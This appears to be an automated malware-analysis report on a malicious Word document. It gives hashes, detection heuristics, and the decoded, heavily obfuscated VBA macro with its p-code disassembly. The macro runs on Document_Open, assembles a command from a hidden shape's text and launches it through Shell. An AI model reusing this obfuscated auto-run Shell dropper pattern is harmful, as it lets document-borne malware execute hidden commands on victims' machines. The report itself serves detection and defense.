Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c9fb2fad50c2ec08…

MALICIOUS

Office (OLE)

136.9 KB Created: 2018-12-04 22:37:00 Authoring application: Microsoft Office Word First seen: 2019-01-11
MD5: 3224ff651acd04dddb7dcc9466e288ea SHA-1: 73a90437a9045dcb1a05757591f90cb8d2a5aa73 SHA-256: c9fb2fad50c2ec088fdca9d597f06e6173f56fff2b68ebe02865ab8c96ffb68b
272 Risk Score

Heuristics 9

  • ClamAV: Doc.Malware.Dksu-6773564-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Dksu-6773564-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
             wTLiiOQspbQDHjDjhKVhpX = Hex(qbpzQnMqWVWfzFkC)
hpQXJMjvN = Array(HwIKZdMk, rzRQFpAw, cuDhXc, [Interaction].Shell(JRDpiIOTj, PaAEjRCu), rbGjiAdY)
   Select Case QZOAcrDXiMFIHZrrPz
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 26097 bytes
SHA-256: b73c8eed8a05538e27b5a12a22ed44005fe030aaa53f2481b57d2c087a17d7bd
Detection
ClamAV: No threats found
Obfuscation or payload: likely
222 of 275 identifiers look randomly generated (e.g. 'hZUpBEvObOnlUXfTJiRRPwQr') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "jiQRQjsicS"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
   Select Case zZWuMtciztVNfOEk
      Case 249907684
         KUOlwPDXjSBiBpXWKmLjQOz = ChrB(315438674 / ChrB(311057097))
         CYrvDIWwNRzNbHrpKKcOrjpI = RYFbvXTqAMffoO
      Case 293357281
         CbFXwKEpbEnTjFVi = 231564361
         lkRXRujXbuLKVvkCpFkkIGT = 108532750
   End Select
      Set qkzJurzwzdIufK = rYjKdQjridQQwwii
         AWaKjOjDNNXScHJuY = Hex(jXJmjHsRfdazzPwruJjBLKC)
   Select Case vfDIwAiabSjHpmXwUQlfi
      Case 206844135
         JOVpUmidtbjpaOUrKrozY = ChrB(127399287 / ChrB(166922956))
         HiwDjzkCQwuuaLNos = pjGwziAYantiKpoFhqqiuw
      Case 284244289
         ZiUaQwdAEjdtJKjODKWwI = 225468588
         EFVdXwOutoYXTNZIcJtdbM = 314250788
   End Select
      Set XJcbjZuZrsQUvUFCpokEkmNA = CumPEKsJZGOVmLUuzjaz
         NHEqombrLkvbwhi = Hex(KmhXLVOrjDdPJkG)
   Select Case fQEIWEkjszlwSDuinCmECIlc
      Case 293813525
         bXXCIpUcnQqqqYSbWC = ChrB(104173614 / ChrB(80347099))
         cOJQzOauWicPCdNLprvbqQi = zLOmbmjMjbwINlKbuhQlOao
      Case 305812038
         QhKUkCMjRTlAnTk = 309983845
         jafEzDjUjIzsdWXUh = 71952743
   End Select
      Set YsvZmZwSZaGOjqw = NPASddzDtMrowOjGIfWXnBt
         BkHtatTBffJFjsbvsrfZ = Hex(HVKuzGBUaDMWURsWFdAtp)
   Select Case pEjNdHVwkoOXcUsOXlmtMZMH
      Case 180143283
         RjBhEfnPEuVPnRF = ChrB(159659679 / ChrB(159936180))
         UKCZEGbdkUlQsYmYpowD = ikNQwtIzUnoBimRCscvGb
      Case 306660210
         doCzdObRbUtlZoJFNS = 208829428
         jzOKlVVzMBzIoRkbv = 318324878
   End Select
      Set jtWMjoBrOiWhnvimjZsL = tiFaXlzIEhKQnwW
         kiVkiHOpTKNJiDC = Hex(kWpPRlJDDiJBMQ)
   Select Case mEdasbKMipHonJJsPFio
      Case 285710411
         hnNStjmCNplHJYbvCwijzlj = ChrB(227453929 / ChrB(221953271))
         zqAjDsmtXqMZhi = fbRDjzkQUDjFHtvDikt
      Case 228251958
         ChmsUQBlicRDJUJRfBBNajdX = 254936730
         AbmionwddufLLjiilaOC = 329311608
   End Select
      Set mmzjsVVWDPFpQazAoiH = qOmTpSivuDIkjaoAiFva
         HrPFVSIfllkuRiY = Hex(ftarZbAGVJplzRjihXjWWOUz)
   Select Case bzdBnDFWHHKCYZmFqFXwEYjY
      Case 264545444
         rdAhcunlzVYVtrNoBOu = ChrB(157457841 / ChrB(131610379))
         EipRtlrCSFNPMcVaiQOmbQj = LflQWRiQDAZWrKBCuv
      Case 20432874
         IifkSbkdJhPnzUGNz = 175123233
         AbwLLDziUPMsjNOMhABw = 311572576
   End Select
      Set AHWllYWEnCTOCqLSThTsP = woiZjIYMwckSbpoaR
         LPbJZRLXAOjTiCSmKhC = Hex(oOfaErijPVitPsjz)
Set FbZQDa = Shapes("NucqGaB").TextFrame
   Select Case zYaICUnnKPhIzF
      Case 223671955
         jcQORosEoQKYwqMffVE = ChrB(207357527 / ChrB(186144408))
         LitzYYDZqjPYPpLujJjW = mJOrUDBciACwCRhUTP
      Case 130657080
         PaaJXaXUlmuzGN = 168239050
         iGEVBzMiNbMYdZPtMVE = 80294771
   End Select
      Set FTtfhqrFDqprIqNLwwSNs = wOzqMWBnkINqYnKpUGUcKkWj
         iBhNWmwqKXfjqiUEQG = Hex(iSRaBJiLsPlLrSVdUTZNW)
   Select Case WYJznsSwjHfXRlrJKP
      Case 334980049
         QRwAVDoPpKucjBmw = ChrB(30220080 / ChrB(48223040))
         szZCJpqzfOiYrrrD = ZJijECIYMCnQzt
      Case 34470720
         FGMqPoKiEJBHlD = 243691249
         zhZvdaouRdzmCjjVdVlliNp = 238624822
   End Select
      Set zfuBBnJRvSRTJafSRZlrYcVd = dPRzMjspwivttPqnUGQO
         TvGSNoDsaXJRUY = Hex(sSjjZiMvjZYJvEDVFP)
   Select Case VBrhqmEtKrjAzUmITFjpBE
      Case 341931433
         LTFkvOwbMAcsEbBQSiTi = ChrB(172509498 / ChrB(16098707))
         GVvWDMYoQBLVWjUwv = EozsuErEPXXlRGIDzOzstPn
      Case 77103642
         rtFijzfXoVNRNbrf = 334396696
         BRijENTjFzDApBljCLmajZrN = 192270688
   End Select
      Set ulmnHNuSluhHosKCrjUnf = jjYjsYPbZQGTShuS
         pFXPrzvWtPdiLspFiFFObUW = Hex(KUQAUadIZoiiIz)
JRDpiIOTj = FbZQDa.TextRange.Text + QiIdcz + GbYLnOV + ipCCRbjE + lqsKPSDK + Ajsqr + PSMtn + wIYqEq + bAnDm + jOQJDsq + hilwDnG
   Select Case hPjJQSiOZvhAcuFvOaSjDM
      Case 213981117
         hZUpBEvObOnlUXfTJiRRPwQr = ChrB(337768752 / ChrB(105663001))
         IHoiVjncrwtMUATZO = UaruzZYuPjiIdql
      Case 271279716
         GmfSChvoUQSwQwZCjipYNH = 103603628
         aUHtiVCafMMmipSt = 314818774
   End Select
      Set fIGzwjIGtLwQZzX = rhZBGwOsREjnTuMwcH
         HDcVXkbcrdOnNPMzkTu = Hex(juOjuAVnwwAoSX)
   Select Case jfwoKaYUsfINrNAi
      Case 298729069
         FhTjONAoERLSbuB = ChrB(207915959 / ChrB(262472534))
         sQoswKMMwtdDBwZCPls = QlnWVHJaEOLLZY
      Case 275943739
         RMiJUCPGKAQMtZiPnlLH = 189599092
         XrAlIkhRicIwlCDii = 91273995
   End Select
      Set jLUrwhfjwYoNiAzprI = ufZsWoDwnbMECzlvGCADE
         AlspOawlNMaATqHSzDtk = Hex(IjUmQwEsnrEiRinzhZdACOA)
   Select Case UEuJLHEjbLnTwOGfHztz
      Case 120472838
         UdWaGOprakwQVd = ChrB(137186838 / ChrB(48190413))
         iwiBlMPVSnEGXbsLTk = nlBpqjkDVitcKzdLA
      Case 263536806
         iQGEnblkCJGFBtDUijHnRAIt = 257858037
         KtHuPrXUBAjjNOFziuP = 192454478
   End Select
      Set jGfuitAjhHMRNQrdHtOihrD = BTthSSOiJiambzlwWnTsTP
         zOWaABuJsDrtLASOPtiHfpEB = Hex(HQLuXLUmTvTvrNd)
   Select Case fIjbiTUnTukvwShTLbbnqa
      Case 181299914
         WZiqnCQajEEiDLTw = ChrB(239502146 / ChrB(310061375))
         zaknTuJPXhUzEjVEIld = RdJPtOwPAIfDvz
      Case 185452357
         lmPwdmttLHzBiGKKGuJVQ = 139119688
         FwuPPBRCFEkTWWhXikQDmOw = 219871664
   End Select
      Set zVzBpGUQsJzjXdruFuzwnno = WfkARGqzMVRjUAPzQCi
         hoHHYJhUzjGKjYiK = Hex(UzlTAWBMLaEfzikIcr)
   Select Case MKiGwoAssaOVLBwJzkjpz
      Case 9052105
         wrEajEqWoHUVKzbmLKiXMw = ChrB(17864424 / ChrB(35426125))
         IzTkqwkLYkPuNUnC = aOrfmKVwXfOdZB
      Case 266828731
         OYHWlwKjKlPMszquVIWoOfVm = 326373495
         SRVhwiavzvffRcDHUBuJFZ = 268923472
   End Select
      Set HQfAkjDUZzftOdnhlz = uOqqukGKUrnjscBZhCaKPsLF
         wKtrNNYIbtERZlPdY = Hex(dlSmQMDFiKniCDkYzZNTG)
   Select Case AWYFKcCcSliBqrikcvfY
      Case 80750093
         EKFmkppTztRIdVFUK = ChrB(93908684 / ChrB(324100809))
         QmnbfStPAhwZTlSOA = rMnznlkiOIiIkRbuwRW
      Case 199446676
         RwZTPusosCrUmWk = 202366880
         zCqzEkkszjwZmBrVR = 169483273
   End Select
      Set NfXqrtWGnnwuqPiSU = JNMobSOuOFBzwUzUQkbLzD
         dzEwlHKEjXiHMDZEFczfQ = Hex(nodzWwzrIoGijrW)
   Select Case zuBCZrwbGcVQmjizFpNS
      Case 286455817
         VOOBziQcBKjYiEUr = ChrB(314637559 / ChrB(274833836))
         UrkdqENnSTzSOonZm = XuRKdbLjOBddOtXzWSllXz
      Case 239041896
         wJDrVkrfiCXvBKNISKpLJpE = 29862179
         PRUnBQaJaMUYTLdKwvLVbwM = 33998463
   End Select
      Set TNHYhIFwwGSWrjmzlazt = wzMBLusjTQFPLiDTltDPZ
         ELnHOZYpXOLsUOvXWO = Hex(PdpMHjwjdAhuiKbu)
Const PaAEjRCu = 0
   Select Case rkhKJpZWKCNsVUJ
      Case 39695969
         mVlBsaWjtHBTUEaMz = ChrB(83033117 / ChrB(282463731))
         wmDmBFrTTCXtDACln = wJLdPhXCqwmjVI
      Case 121062689
         SASzAnjCMqkHQTBpZvNhEU = 146616416
         OzOshnhPbMhCTnDLaI = 111277688
   End Select
      Set zQlWwzHaullwdwkAYqV = JUfEmwVlsCHwDwXwOsw
         jGUqajYWDCmjmrQckjkzb = Hex(hripuhYmmjultCApdC)
   Select Case vLwsSmAILHrZdcG
      Case 80157914
         UzfcFpZiqKvXjnaYBVwYB = ChrB(193348685 / ChrB(178309125))
         zinqFuTjOCYpriqVWNbcEkiU = AcGHnfqYkdaBjYwqM
      Case 57930520
         OlhWicBnBwqOATZFRMbb = 151493975
         QHBQUnpfmsbBGjSFcflrp = 172679680
   End Select
      Set OahKTiikhGjUZVNIOwWMwnz = tmMkwpfsqNmqmdWA
         HuuZLskOWXtSOvb = Hex(URjSunsbndMiXVkcWEq)
   Select Case bAhiDicPdQoDXWl
      Case 129917900
         iEFGKFuTccOfvoCjOG = ChrB(221774937 / ChrB(82639899))
         qbpTOoLswhbRZbhEzQvmLa = OkiblXIQDHjndPm
      Case 314775711
         jbiumOWNUbPpmZdQV = 174410237
         jMZVpRYJsoEpMUiDjwLcW = 82023795
   End Select
      Set QwtaQhDWIpDPDJGpd = EdYQmDUIVtUJwMTwI
         wrHcpRvzIFaudGiORjp = Hex(KqFILJCwrqvFAh)
   Select Case HDYmorWrmBzMaiYiUd
      Case 124255235
         dtkcCroGacXjnikzO = ChrB(200579608 / ChrB(51475696))
         iqjfkaQuowVkiiuNT = kwDPQJdSZvubPpVAfmJErbbt
      Case 119378269
         GnwIkWiStKOTaaCSBUAN = 218920548
         OhzIDOEIVJzmCpUQLXww = 315516034
   End Select
      Set mMLjCZaGtEwaZQJb = QOkpEWoXMwkJcQkkDv
         wTLiiOQspbQDHjDjhKVhpX = Hex(qbpzQnMqWVWfzFkC)
hpQXJMjvN = Array(HwIKZdMk, rzRQFpAw, cuDhXc, [Interaction].Shell(JRDpiIOTj, PaAEjRCu), rbGjiAdY)
   Select Case QZOAcrDXiMFIHZrrPz
      Case 161246600
         IoUGMljRKYoHws = ChrB(196017829 / ChrB(297839465))
         dsIzFnKtiNSihINzjLbFI = qImNJXzKPvwIlEQFCBJMiX
      Case 108231984
         dPbKRjCnaqCzKsdnwTwWfY = 152666339
         hbJZwvFSszjuvms = 233799547
   End Select
      Set KivCQuKYVPOZtHEsTcqXcri = jHLIjrJaOdUpbFRhwAajq
         wsfBcKCMQTEKTIiCpdFoKQm = Hex(QNLJYbRzuqJTdhPzY)
   Select Case SRYXUiLFZwVwMwVXoF
      Case 284662881
         YMcokzhMAUElFwOjjhmI = ChrB(60166368 / ChrB(254785076))
         iYbDokuVPwtzGokmWBwEFt = qNhlqHTiXlauPJuscGzpm
      Case 81106433
         IvwuQHKhhoolpGwEOwPVNfuV = 191841078
         IWwGDzdOZquMCbNDtFa = 158654474
   End Select
      Set ldCktXqmcBaRozo = bkrHbhIKBtoIJmouFWWtw
         KanbzoTvOcZUSUjQdE = Hex(sjAiicpMjMRcvnFaQT)
End Sub


' Processing file: /tmp/qstore_cxraqb0o
' ===============================================================================
' Module streams:
' Macros/VBA/jiQRQjsicS - 14604 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_open())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Ld zZWuMtciztVNfOEk 
' 	SelectCase 
' Line #3:
' 	LitDI4 0x49E4 0x0EE5 
' 	Case 
' 	CaseDone 
' Line #4:
' 	LitDI4 0x3652 0x12CD 
' 	LitDI4 0x5AC9 0x128A 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St KUOlwPDXjSBiBpXWKmLjQOz 
' Line #5:
' 	Ld RYFbvXTqAMffoO 
' 	St CYrvDIWwNRzNbHrpKKcOrjpI 
' Line #6:
' 	LitDI4 0x46E1 0x117C 
' 	Case 
' 	CaseDone 
' Line #7:
' 	LitDI4 0x6449 0x0DCD 
' 	St CbFXwKEpbEnTjFVi 
' Line #8:
' 	LitDI4 0x140E 0x0678 
' 	St lkRXRujXbuLKVvkCpFkkIGT 
' Line #9:
' 	EndSelect 
' Line #10:
' 	SetStmt 
' 	Ld rYjKdQjridQQwwii 
' 	Set qkzJurzwzdIufK 
' Line #11:
' 	Ld jXJmjHsRfdazzPwruJjBLKC 
' 	ArgsLd Hex 0x0001 
' 	St AWaKjOjDNNXScHJuY 
' Line #12:
' 	Ld vfDIwAiabSjHpmXwUQlfi 
' 	SelectCase 
' Line #13:
' 	LitDI4 0x30E7 0x0C54 
' 	Case 
' 	CaseDone 
' Line #14:
' 	LitDI4 0xF577 0x0797 
' 	LitDI4 0x0ACC 0x09F3 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St JOVpUmidtbjpaOUrKrozY 
' Line #15:
' 	Ld pjGwziAYantiKpoFhqqiuw 
' 	St HiwDjzkCQwuuaLNos 
' Line #16:
' 	LitDI4 0x3941 0x10F1 
' 	Case 
' 	CaseDone 
' Line #17:
' 	LitDI4 0x60AC 0x0D70 
' 	St ZiUaQwdAEjdtJKjODKWwI 
' Line #18:
' 	LitDI4 0x1624 0x12BB 
' 	St EFVdXwOutoYXTNZIcJtdbM 
' Line #19:
' 	EndSelect 
' Line #20:
' 	SetStmt 
' 	Ld CumPEKsJZGOVmLUuzjaz 
' 	Set XJcbjZuZrsQUvUFCpokEkmNA 
' Line #21:
' 	Ld KmhXLVOrjDdPJkG 
' 	ArgsLd Hex 0x0001 
' 	St NHEqombrLkvbwhi 
' Line #22:
' 	Ld fQEIWEkjszlwSDuinCmECIlc 
' 	SelectCase 
' Line #23:
' 	LitDI4 0x3D15 0x1183 
' 	Case 
' 	CaseDone 
' Line #24:
' 	LitDI4 0x902E 0x0635 
' 	LitDI4 0xFFDB 0x04C9 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St bXXCIpUcnQqqqYSbWC 
' Line #25:
' 	Ld zLOmbmjMjbwINlKbuhQlOao 
' 	St cOJQzOauWicPCdNLprvbqQi 
' Line #26:
' 	LitDI4 0x5246 0x123A 
' 	Case 
' 	CaseDone 
' Line #27:
' 	LitDI4 0xFA65 0x1279 
' 	St QhKUkCMjRTlAnTk 
' Line #28:
' 	LitDI4 0xE967 0x0449 
' 	St jafEzDjUjIzsdWXUh 
' Line #29:
' 	EndSelect 
' Line #30:
' 	SetStmt 
' 	Ld NPASddzDtMrowOjGIfWXnBt 
' 	Set YsvZmZwSZaGOjqw 
' Line #31:
' 	Ld HVKuzGBUaDMWURsWFdAtp 
' 	ArgsLd Hex 0x0001 
' 	St BkHtatTBffJFjsbvsrfZ 
' Line #32:
' 	Ld pEjNdHVwkoOXcUsOXlmtMZMH 
' 	SelectCase 
' Line #33:
' 	LitDI4 0xC4B3 0x0ABC 
' 	Case 
' 	CaseDone 
' Line #34:
' 	LitDI4 0x369F 0x0984 
' 	LitDI4 0x6EB4 0x0988 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St RjBhEfnPEuVPnRF 
' Line #35:
' 	Ld ikNQwtIzUnoBimRCscvGb 
' 	St UKCZEGbdkUlQsYmYpowD 
' Line #36:
' 	LitDI4 0x4372 0x1247 
' 	Case 
' 	CaseDone 
' Line #37:
' 	LitDI4 0x7BF4 0x0C72 
' 	St doCzdObRbUtlZoJFNS 
' Line #38:
' 	LitDI4 0x408E 0x12F9 
' 	St jzOKlVVzMBzIoRkbv 
' Line #39:
' 	EndSelect 
' Line #40:
' 	SetStmt 
' 	Ld tiFaXlzIEhKQnwW 
' 	Set jtWMjoBrOiWhnvimjZsL 
' Line #41:
' 	Ld kWpPRlJDDiJBMQ 
' 	ArgsLd Hex 0x0001 
' 	St kiVkiHOpTKNJiDC 
' Line #42:
' 	Ld mEdasbKMipHonJJsPFio 
' 	SelectCase 
' Line #43:
' 	LitDI4 0x984B 0x1107 
' 	Case 
' 	CaseDone 
' Line #44:
' 	LitDI4 0xABE9 0x0D8E 
' 	LitDI4 0xBCF7 0x0D3A 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St hnNStjmCNplHJYbvCwijzlj 
' Line #45:
' 	Ld fbRDjzkQUDjFHtvDikt 
' 	St zqAjDsmtXqMZhi 
' Line #46:
' 	LitDI4 0xD936 0x0D9A 
' 	Case 
' 	CaseDone 
' Line #47:
' 	LitDI4 0x069A 0x0F32 
' 	St ChmsUQBlicRDJUJRfBBNajdX 
' Line #48:
' 	LitDI4 0xE578 0x13A0 
' 	St AbmionwddufLLjiilaOC 
' Line #49:
' 	EndSelect 
' Line #50:
' 	SetStmt 
' 	Ld qOmTpSivuDIkjaoAiFva 
' 	Set mmzjsVVWDPFpQazAoiH 
' Line #51:
' 	Ld ftarZbAGVJplzRjihXjWWOUz 
' 	ArgsLd Hex 0x0001 
' 	St HrPFVSIfllkuRiY 
' Line #52:
' 	Ld bzdBnDFWHHKCYZmFqFXwEYjY 
' 	SelectCase 
' Line #53:
' 	LitDI4 0xA4A4 0x0FC4 
' 	Case 
' 	CaseDone 
' Line #54:
' 	LitDI4 0x9DB1 0x0962 
' 	LitDI4 0x370B 0x07D8 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St rdAhcunlzVYVtrNoBOu 
' Line #55:
' 	Ld LflQWRiQDAZWrKBCuv 
' 	St EipRtlrCSFNPMcVaiQOmbQj 
' Line #56:
' 	LitDI4 0xC7EA 0x0137 
' 	Case 
' 	CaseDone 
' Line #57:
' 	LitDI4 0x2B21 0x0A70 
' 	St IifkSbkdJhPnzUGNz 
' Line #58:
' 	LitDI4 0x3860 0x1292 
' 	St AbwLLDziUPMsjNOMhABw 
' Line #59:
' 	EndSelect 
' Line #60:
' 	SetStmt 
' 	Ld woiZjIYMwckSbpoaR 
' 	Set AHWllYWEnCTOCqLSThTsP 
' Line #61:
' 	Ld oOfaErijPVitPsjz 
' 	ArgsLd Hex 0x0001 
' 	St LPbJZRLXAOjTiCSmKhC 
' Line #62:
' 	SetStmt 
' 	LitStr 0x0007 "NucqGaB"
' 	ArgsLd Shapes 0x0001 
' 	MemLd TextFrame 
' 	Set FbZQDa 
' Line #63:
' 	Ld zYaICUnnKPhIzF 
' 	SelectCase 
' Line #64:
' 	LitDI4 0xF693 0x0D54 
' 	Case 
' 	CaseDone 
' Line #65:
' 	LitDI4 0x0657 0x0C5C 
' 	LitDI4 0x5698 0x0B18 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St jcQORosEoQKYwqMffVE 
' Line #66:
' 	Ld mJOrUDBciACwCRhUTP 
' 	St LitzYYDZqjPYPpLujJjW 
' Line #67:
' 	LitDI4 0xAB38 0x07C9 
' 	Case 
' 	CaseDone 
' Line #68:
' 	LitDI4 0x1FCA 0x0A07 
' 	St PaaJXaXUlmuzGN 
' Line #69:
' 	LitDI4 0x3373 0x04C9 
' 	St iGEVBzMiNbMYdZPtMVE 
' Line #70:
' 	EndSelect 
' Line #71:
' 	SetStmt 
' 	Ld wOzqMWBnkINqYnKpUGUcKkWj 
' 	Set FTtfhqrFDqprIqNLwwSNs 
' Line #72:
' 	Ld iSRaBJiLsPlLrSVdUTZNW 
' 	ArgsLd Hex 0x0001 
' 	St iBhNWmwqKXfjqiUEQG 
' Line #73:
' 	Ld WYJznsSwjHfXRlrJKP 
' 	SelectCase 
' Line #74:
' 	LitDI4 0x63D1 0x13F7 
' 	Case 
' 	CaseDone 
' Line #75:
' 	LitDI4 0x1F30 0x01CD 
' 	LitDI4 0xD340 0x02DF 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St QRwAVDoPpKucjBmw 
' Line #76:
' 	Ld ZJijECIYMCnQzt 
' 	St szZCJpqzfOiYrrrD 
' Line #77:
' 	LitDI4 0xFB40 0x020D 
' 	Case 
' 	CaseDone 
' Line #78:
' 	LitDI4 0x6EF1 0x0E86 
' 	St FGMqPoKiEJBHlD 
' Line #79:
' 	LitDI4 0x2036 0x0E39 
' 	St zhZvdaouRdzmCjjVdVlliNp 
' Line #80:
' 	EndSelect 
' Line #81:
' 	SetStmt 
' 	Ld dPRzMjspwivttPqnUGQO 
' 	Set zfuBBnJRvSRTJafSRZlrYcVd 
' Line #82:
' 	Ld sSjjZiMvjZYJvEDVFP 
' 	ArgsLd Hex 0x0001 
' 	St TvGSNoDsaXJRUY 
' Line #83:
' 	Ld VBrhqmEtKrjAzUmITFjpBE 
' 	SelectCase 
' Line #84:
' 	LitDI4 0x75A9 0x1461 
' 	Case 
' 	CaseDone 
' Line #85:
' 	LitDI4 0x493A 0x0A48 
' 	LitDI4 0xA593 0x00F5 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St LTFkvOwbMAcsEbBQSiTi 
' Line #86:
' 	Ld EozsuErEPXXlRGIDzOzstPn 
' 	St GVvWDMYoQBLVWjUwv 
' Line #87:
' 	LitDI4 0x821A 0x0498 
' 	Case 
' 	CaseDone 
' Line #88:
' 	LitDI4 0x7D18 0x13EE 
' 	St rtFijzfXoVNRNbrf 
' Line #89:
' 	LitDI4 0xD160 0x0B75 
' 	St BRijENTjFzDApBljCLmajZrN 
' Line #90:
' 	EndSelect 
' Line #91:
' 	SetStmt 
' 	Ld jjYjsYPbZQGTShuS 
' 	Set ulmnHNuSluhHosKCrjUnf 
' Line #92:
' 	Ld KUQAUadIZoiiIz 
' 	ArgsLd Hex 0x0001 
' 	St pFXPrzvWtPdiLspFiFFObUW 
' Line #93:
' 	Ld FbZQDa 
' 	MemLd TextRange 
' 	MemLd Text 
' 	Ld QiIdcz 
' 	Add 
' 	Ld GbYLnOV 
' 	Add 
' 	Ld ipCCRbjE 
' 	Add 
' 	Ld lqsKPSDK 
' 	Add 
' 	Ld Ajsqr 
' 	Add 
' 	Ld PSMtn 
' 	Add 
' 	Ld wIYqEq 
' 	Add 
' 	Ld bAnDm 
' 	Add 
' 	Ld jOQJDsq 
' 	Add 
' 	Ld hilwDnG 
' 	Add 
' 	St JRDpiIOTj 
' Line #94:
' 	Ld hPjJQSiOZvhAcuFvOaSjDM 
' 	SelectCase 
' Line #95:
' 	LitDI4 0x17BD 0x0CC1 
' 	Case 
' 	CaseDone 
' Line #96:
' 	LitDI4 0xF130 0x1421 
' 	LitDI4 0x4A19 0x064C 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St hZUpBEvObOnlUXfTJiRRPwQr 
' Line #97:
' 	Ld UaruzZYuPjiIdql 
' 	St IHoiVjncrwtMUATZO 
' Line #98:
' 	LitDI4 0x6664 0x102B 
' 	Case 
' 	CaseDone 
' Line #99:
' 	LitDI4 0xDDAC 0x062C 
' 	St GmfSChvoUQSwQwZCjipYNH 
' Line #100:
' 	LitDI4 0xC0D6 0x12C3 
' 	St aUHtiVCafMMmipSt 
' Line #101:
' 	EndSelect 
' Line #102:
' 	SetStmt 
' 	Ld rhZBGwOsREjnTuMwcH 
' 	Set fIGzwjIGtLwQZzX 
' Line #103:
' 	Ld juOjuAVnwwAoSX 
' 	ArgsLd Hex 0x0001 
' 	St HDcVXkbcrdOnNPMzkTu 
' Line #104:
' 	Ld jfwoKaYUsfINrNAi 
' 	SelectCase 
' Line #105:
' 	LitDI4 0x3E6D 0x11CE 
' 	Case 
' 	CaseDone 
' Line #106:
' 	LitDI4 0x8BB7 0x0C64 
' 	LitDI4 0x0356 0x0FA5 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St FhTjONAoERLSbuB 
' Line #107:
' 	Ld QlnWVHJaEOLLZY 
' 	St sQoswKMMwtdDBwZCPls 
' Line #108:
' 	LitDI4 0x913B 0x1072 
' 	Case 
' 	CaseDone 
' Line #109:
' 	LitDI4 0x0D74 0x0B4D 
' 	St RMiJUCPGKAQMtZiPnlLH 
' Line #110:
' 	LitDI4 0xBB0B 0x0570 
' 	St XrAlIkhRicIwlCDii 
' Line #111:
' 	EndSelect 
' Line #112:
' 	SetStmt 
' 	Ld ufZsWoDwnbMECzlvGCADE 
' 	Set jLUrwhfjwYoNiAzprI 
' Line #113:
' 	Ld IjUmQwEsnrEiRinzhZdACOA 
' 	ArgsLd Hex 0x0001 
' 	St AlspOawlNMaATqHSzDtk 
' Line #114:
' 	Ld UEuJLHEjbLnTwOGfHztz 
' 	SelectCase 
' Line #115:
' 	LitDI4 0x4506 0x072E 
' 	Case 
' 	CaseDone 
' Line #116:
' 	LitDI4 0x4E16 0x082D 
' 	LitDI4 0x53CD 0x02DF 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St UdWaGOprakwQVd 
' Line #117:
' 	Ld nlBpqjkDVitcKzdLA 
' 	St iwiBlMPVSnEGXbsLTk 
' Line #118:
' 	LitDI4 0x40A6 0x0FB5 
' 	Case 
' 	CaseDone 
' Line #119:
' 	LitDI4 0x99F5 0x0F5E 
' 	St iQGEnblkCJGFBtDUijHnRAIt 
' Line #120:
' 	LitDI4 0x9F4E 0x0B78 
' 	St KtHuPrXUBAjjNOFziuP 
' Line #121:
' 	EndSelect 
' Line #122:
' 	SetStmt 
' 	Ld BTthSSOiJiambzlwWnTsTP 
' 	Set jGfuitAjhHMRNQrdHtOihrD 
' Line #123:
' 	Ld HQLuXLUmTvTvrNd 
' 	ArgsLd Hex 0x0001 
' 	St zOWaABuJsDrtLASOPtiHfpEB 
' Line #124:
' 	Ld fIjbiTUnTukvwShTLbbnqa 
' 	SelectCase 
' Line #125:
' 	LitDI4 0x6ACA 0x0ACE 
' 	Case 
' 	CaseDone 
' Line #126:
' 	LitDI4 0x8342 0x0E46 
' 	LitDI4 0x293F 0x127B 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St WZiqnCQajEEiDLTw 
' Line #127:
' 	Ld RdJPtOwPAIfDvz 
' 	St zaknTuJPXhUzEjVEIld 
' Line #128:
' 	LitDI4 0xC745 0x0B0D 
